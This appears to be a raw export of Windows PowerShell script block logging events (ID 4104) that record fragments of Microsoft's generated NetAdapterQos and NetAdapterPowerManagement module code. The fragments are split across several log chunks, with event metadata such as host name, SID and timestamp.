[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterQosSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterQos.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterQos' -Alias '*'
function Disable-NetAdapterQos
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterQosSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodPar
ScriptBlock ID: 7df6082d-984e-488f-b7f3-9bb8aad315a2
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1862 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-b628-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterQosSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterQos
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterQosSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterQos.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterQos' -Alias '*'
function Set-NetAdapterQos
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterQosSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterQosSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='InputObject (cdxml)', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Enabled')) {
[object]$__cmdletization_value = ${Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterQos.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterQos' -Alias '*'
function Enable-NetAdapterQos
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(Parameter
ScriptBlock ID: 7df6082d-984e-488f-b7f3-9bb8aad315a2
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1861 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-b628-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterPowerManagement.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterPowerManagement' -Alias '*'
ScriptBlock ID: f71930e7-8f95-47de-a5f7-d0859716cdc9
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1860 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-b028-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
etization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnPattern'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
